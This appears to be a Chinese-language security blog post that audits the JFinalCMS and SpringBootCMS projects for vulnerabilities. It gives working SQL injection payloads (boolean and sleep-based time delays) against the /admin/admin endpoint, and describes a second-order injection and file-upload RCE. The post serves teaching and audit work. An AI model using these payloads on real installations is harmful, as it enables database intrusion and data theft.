部署
JFinalCMS有两套环境一套为JFinalCMS一套为SpringBoot版本
https:
//gitee.com/heyewei/JFinalcms#https://gitee.com/heyewei/SpringBootCMS
https:
//gitee.com/heyewei/SpringBootCMS
JFinalCMS部署
执行数据库文件
修改配置文件
配置tomcat启动
admin/123456登录成功
SpringBoot版本部署
执行数据库文件
修改配置文件
启动App.java
JFinalCMS版本/admin/admin接口SQL注入(存在)
代码分析
找到接口位置
可以看到name和username传参为直接拼接,最后拼接到paginate方法中执行,必然存在sql注入
黑盒验证
payload1:http:
//localhost
:
8081
/cms_war/admin/admin?username=r%'
and
1
=
2
and
'%'
=
'
url编码:
http
://localhost:8081/cms_war/admin/admin?username=r
%25
%27
%20
and
%201
=2
%20
and
%20
%27
%25
%27
=
%27
因为and 1=2 为假所以查不到数据
paylaod2: http:
//localhost
:
8081
/cms_war/admin/admin?username=r%'
and
1
=
1
and
'%'
=
'
url编码:
http
://localhost:8081/cms_war/admin/admin?username=r
%25
%27
%20
and
%201
=1
%20
and
%20
%27
%25
%27
=
%27
因为and 1=1 为真所以有数据
再来看name传参如何证明sql注入,因为name传参本来就没数据,如何构造sql注入语句呢?用时间函数即可
payload3:
url编码:
http:
//localhost
:
8081
/cms_war/admin/admin?name=%'
and
(
select
(
sleep
(
5
)))
and
'%'
=
'
http:
//localhost
:
8081
/cms_war/admin/admin?name=%25%27%20and%20(
select
%20(
sleep
(
5
)))%20and%20%27%25%27=%27)
and
'%'
=
')
快速代码审计
以上为正向审计,其实可以使用搜索语法反向查询sql注入更快
JFinalCMS版本/admin/div_data/delete?divId 接口SQL注入(不存在)
代码分析
找到接口位置
分析delete方法代码,divId和ids一个转为来int类型数据一个转为int类型数组,理论上无法传入字符串了,再来看StringUtils.join方法,因该是把上面的int类型数组中多个数据用,号隔开拼接为字符串,所以此语句存在sql注入问题,但是又因为ids[]是int类型数组,字符串无法传入,此处sql注入不存在
黑盒验证
不存在sql注入
JFinalCMS版本/admin/div_data/delete?divId 接口二次SQL注入(存在)
代码分析
getTableName查询的内容可以被编辑保存
理论上使用div.getTableName()方法的都能执行注入
黑盒测试
修改数据库表名
刷新即执行成功
FinalCMS版本/admin/content/data 接口SQL注入(存在)
参考:
https:
/
/gitee.com/heyewei
/JFinalcms/issues
/I8VE52
JFinalCMS版本XSS
参考:
https:
//gitee.com/heyewei/JFinalcms/issues/I8VHM2
https:
//gitee.com/heyewei/JFinalcms/issues/I8VHGR
SpringBoot版本/admin/admin接口sql注入(不存在)
找到接口
用了mybatis-plus的动态参数绑定,QueryWrapper 会将 name 和 username 作为参数绑定到查询中,不存在sql注入
SpringBoot版本/admin/div_data/delete?divId 接口sql注入(不存在)
在传参处就限定了ids为int类型数组,不存在注入
SpringBoot版本任意文件上传rce
之前可以利用这个漏洞直接获取官方演示站点rce
参考:
https:
/
/gitee.com/heyewei
/SpringBootCMS/issues
/I8VL2J
SpringBoot版本任意文件读取
参考:
https:
/
/gitee.com/heyewei
/SpringBootCMS/issues
/I8VM2H
原文始发于微信公众号(闪石星曜CyberSecurity):JFinalCMS 系统的漏洞浅析。“这套系统搭建方便简单,代码分析不难,非常适合刚入门的朋友学习。”
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论